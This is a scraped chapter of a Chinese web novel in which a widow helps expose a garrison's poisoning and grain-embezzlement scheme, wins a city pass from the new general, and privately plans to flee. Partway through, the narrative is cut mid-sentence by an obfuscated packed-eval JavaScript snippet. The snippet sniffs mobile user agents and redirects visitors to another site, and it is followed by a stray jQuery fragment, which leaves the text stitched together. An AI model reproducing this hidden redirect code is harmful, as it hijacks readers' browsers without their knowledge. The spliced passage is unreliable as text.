8. 第 8 章
作品:《我就是个卖胭脂的,哪懂什么探案》 在说书先生的嘴里,唐门的机关暗器,以及毒药乃是天下一绝。
不仅功效各异,还有精准的定时技能。
说七天发作就第七天发作,第六天的亥时人还跟平常一样,子时一到,立刻起效。
想起说书先生讲过的那些皮破肉烂,全身烂得只剩下半副骨架,还能走路,皮肉一块一块往下掉,就是死不掉的惨样,他当即全招了。
指使他的并非廖世涛。
事实上,廖世涛十分自信,他在往纸上按手印的时候,就已经猜到李榆已经拿到了证据。
他的亲信还告诉他,李榆以及等等进了将军大帐,过了一会儿,又带着一包东西出来了。
这说明什么!
说明封靖平就是不想管这事。
这在他的意料之内,一个刚刚上任的将军,在此地没有半点根基。
在这天高皇帝远的地方,谁不为自己谋点什么,大至谋粮谋田,小到拿铺子里一个胡饼不给钱,大家都见惯不怪了。
如果现在是在打仗,将军只要能打胜仗,自然会有人敬服。
太平年间,将军何以立威?要么带兄弟们发财,要么别妨碍兄弟们发财。
封靖平要是认真要肃清军纪,起码得干掉上万人。
真把这么多人都惹急了,不出一个月,京里就会收到“军中瘟疫,许多人暴病身亡”的消息,“许多人”里面包括将军及其亲卫队,是多么正常的事。
廖世涛心里稳得很,只要封靖平不找他,他就不着急。
他不急,有人急。
是冯参将身边的文书,他知道冯参将有亲戚在京中做官。
人在边城病死,谁也挑不出理来。
被人下毒致死,还有证据是谁干的,这消息要是传到冯参将亲戚的耳中,万一真的要查,万一真的查出什么来呢?
不如趁现在消息还未出云州,把证物毁尸灭迹,再把冯参将和林勇的尸体一烧,往后任凭李榆他们几个说破了天,也不能定他们的罪。
负责审讯的亲兵恐吓三连招:“张小才已经都招了,冯竹屋里的账本都是你放的,乌头也是你偷偷拿去给他的,你竟然还敢把军粮卖给北狄人!你屋里的豹皮就是证据!”
文书大惊:“不是我!”
“所有人都说是你,你说不是,谁信!按大夏军纪,你这是里通外国,当施以剐刑!”
一哄,二吓,还没到三上刑,供词便已经拿到手。
事情就如同刘薇想的那样,封靖平新官上任,认真查账,发现粮草亏空,粮田被占。
常年驻守本地的卫所官们,都知道这个套路:先立个典型打一下,让百姓和士兵知道他是个刚正不阿的好人,方便日后往自己口袋里捞。
日后如何同流合污,是日后的事。
现在封靖平放话说要抓个领头的当榜样,意思就是其他的都不抓了呗。
牺牲一个人,幸福千万家。
只是,谁也不想当这个榜样。
参与倒卖粮食、侵占军田的人本就不是一个整体。
廖世涛明面上是冯竹的同乡,两家还议亲什么的,实则他有自己的路子,赚自己的钱。
但他赚钱路径与冯竹路径相似,没有什么技术含量,随便一查就能被抓。
于是,他灵机一动:封靖平要抓一个榜样,那把事都推到冯竹身上,让冯竹成为主犯,自己不就没事了吗?
在军营里或是在冯竹家给他下毒很不方便,一打听“冯竹死前跟谁在一起吃饭”,轻轻松松被人拿下。
正好林勇要办喜宴,请了几十个军官一起去。
廖世涛大喜过望,他知道乌头中毒症状与醉酒相似,喜宴上乱哄哄,大家都忙着看新人,谁关心一个喝高了趴地上吐的宾客。
等冯竹凉了,再加上他屋里那些账册和往来信件,足可以让封靖平立榜样。
廖世涛算好了时间,看着大家都已经醉意上涌,他便把加了乌头的酒放在冯竹手边。
不曾想,酒壶刚放下,新郎就过来敬酒了,冯竹非得为难林勇,要他连喝三杯,杯子里的酒不够,冯竹就用自己壶里的酒倒进林勇的杯子。
林勇走后,冯竹的壶里也没剩多少,他叫下人将壶里的酒加满,自己喝了一口,嫌弃泡着乌头的酒有一股怪味,便再没动,所以,他只出现了中毒的症状,却没死透。
催吐之后,冯竹凭自己的本事又活过来了。
以前大家一起发财,互不干涉,现在竟然有人要他的命,那就不能忍了。
冯竹刚好一些,便主动去封靖平那里投案,将他所知的事情抖了个干干净净,主打一个“你们要我死,谁都别想活”。
八卦总是传得飞快,封靖平的后续处理很快就传到云州百姓的耳中。
他没有直接抓人,而是走群众路线,先找了那些被迫日夜在军田里耕作的士兵,让他们诉苦、指证。
同时也了解了利益链上到底有哪些人,避免抓人的时候,不明真相的士兵以为自己也会被牵连,生成哗变。
只抓首恶,不惩附从。
接着便是整肃军纪,小到在城里买东西要给钱,大到侵占军田、使唤军士做白工,都有了详细而具体的规定。
城里的百姓挺高兴,觉得来了个青天大老爷。
只有一些老人家不以为意:刚来的时候,谁还不会做做样子,日久才能见人心呐。
林勇被无辜牵连而死,封靖平愿意给刘薇一笔赔偿。
刘薇摇头:“亡夫留下的财产已经足够我度日了,我只想求将军一个通行手令。”
进出云州要提前交申请,审查完身份,确定不是奸细,才会放进去。
有资格当天进出云州的人,只有县令、县丞、县尉,就连主簿崔翔,都必须提前申请。
审查的效率要看那段时间有多少人需要进出,如果赶上春季,有大型皮货、牲畜交易,那就惨了,审个三五天都算快的。
守将的通行手令等于封靖平为刘薇做长期担保,拿到手,就可以在城门开放时间,想进来就进来,想出去就出去。
“城外有一片玫瑰田,是铺子里做胭脂香精最要紧的东西,虽有专人照管,可我刚刚接掌,若是不常常去,只怕下人会欺我寡妇无依,在田里动手脚,产出一百斤,他们报个灾荒,说只有五十,我若不时时去看着,他们说什么,我也只能信什么……”
说到这,刘薇适时地拿起小手绢,擦了擦眼角。
这话击中封靖平的心,他一个有权有官位的男人,为了查军田的账尚且费尽心思,何况一个小寡妇,下人想要骗她太容易。
封靖平心中油然升起同病相怜之意。
刘薇送给他那么多证据,助他在军中立威,稳定军心。
送她一个手令又何妨,她有那么大的产业,又是从东边嫁过来的,怎么都不可能是北狄或西戎的探子。
主意打定,封靖平便给了刘薇一块通行令牌,并将令牌式样与刘薇容貌登记入
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211101|197392||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
册,让守城的人核对人与令牌便直接放行。
好耶~
通行令牌到手,等腿好的那一天,就可以快乐的卷细软跑路了。
随便在什么地方躲两三年,等二皇子夺嫡失败,就可以光明正大的过日子了。
在腿好之前,还得假装自己是想好好过日子的人。
刘薇检查林勇留下的原材料、成品,以及账目。
本以为林勇就是个靠二皇子暗地里撑腰,才会这么有钱。
查了账才知道,他也是有在认认真真做生意的。
进出账目,干净清楚。
各种配方,也写得明明白白。
他还写日记!
主要内容是记下谁家又出了新品,与自家的什么品类有竞争。
某段时间生意不好,不好的原因是什么。
某段时间生意好,好的原因是什么。
他考虑的因素有天气、政策变动、当权者的变更、城中各位爱好的变化……
看完他的日记,刘薇感叹,难怪二皇子放心让林勇一个人在云州这么重要的地方收集情报,这样的人,不管做什么都会成功的。
除了生意之外,日记里还记了不少本地的风土人情——
云州有钱人挺多的,特别是土著。
打仗的时候,他们首当其冲倒霉。
但太平年月,这里是三国交界的交通要道。
有马匹骆驼的开起了大车行,给人送货;有力气的给人当搬运工;有武艺的给人当保镖。
有房子有地的人更开心,开酒楼和客栈。
倒是没有正规意义上的青楼,据说原来是有的。
某一年,打过仗之后,留下半城的寡妇,那些寡妇无法谋生,纷纷涌入青楼,主动卖身。
城里的男人们刚开始挺开心,仔细一琢磨,这不对啊!
城里的风气搞成这样,那我死了,我的媳妇女儿岂不是也要进青楼?
这哪行!
改嫁都比进青楼强。
要寡妇全部去死,这不现实。
于是有乡贤一拍脑袋:“从商税里抽一笔钱出来,养着那些寡妇失业的女子不就行了。”
梦想是好的,然而云州的商税只有三分之一归本地,还经常被各位军爷多吃多占。
被车子压坏的马路要修、城门城墙年年要加固,城里的井年年都要淘……这些都是从税里出。
为了减轻财政负担,以及借着京中宁贵妃力压扶桑棋士,女子在外抛头露面,也不会被人指指点点的重大社会风气变化。
云州大力鼓励女子出来自谋生路,自己赚钱,但求各位别再花那点可怜的税了。
“难怪云州这么多店老板都是女人。”刘薇恍然大悟。
难怪脂粉生意这么好,敢卖那么贵。
本以为是走过路过的商人给家里女眷带,原来是本地各位大老板有需求。
胭姝堂曾有过许多竞争对手,但那些对手们都搞不到京里的高端化妆品方子,以土法做的化妆品香味不持久、使用不方便、色彩难保持。
林勇也借此游走于城中达官显贵之中,得到不少对二皇子有用的消息。
认真的他,给云州有权有势有钱的人都做了人物小传。
连李榆都有份,占了足足三行字——
李榆,字守拙,祖籍余杭,捐官。
胆小如鼠,毫无脾气,专和稀泥。
穷、小气,无实权,无买通必要。

